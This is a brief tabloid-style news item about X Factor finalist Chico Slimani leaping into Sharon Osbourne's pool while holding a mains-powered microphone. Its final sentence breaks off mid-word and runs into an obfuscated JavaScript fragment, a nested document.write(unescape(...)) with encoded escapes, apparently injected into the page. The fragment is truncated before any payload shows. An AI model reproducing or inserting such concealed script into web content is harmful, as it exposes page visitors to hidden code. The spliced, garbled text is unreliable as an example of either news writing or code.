An X Factor finalist jumped into Sharon Osbourne's pool holding a microphone plugged in at the mains.
Former goatherd Chico Slimani's dangerous leap stunned even Sharon's husband Ozzy, reports the Mirror.
A source said: "Chico wanted to impress and thought plunging into Sharon's Beverly Hills swimming pool would be a brilliant finale to his act.
"He'd forgotten he was holding a microphone with a lead from an amplifier - plugged into the mains.
"He was lucky not to be electrocuted."
Judge Sharon had taken her seven over-25 finalists to her US home. She is now their mentor and must select four to go on to the studio competition.
Louis Walsh took the age 16-24 finalists to Dublin while Simon Cowell and his group acts went to Spaindocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;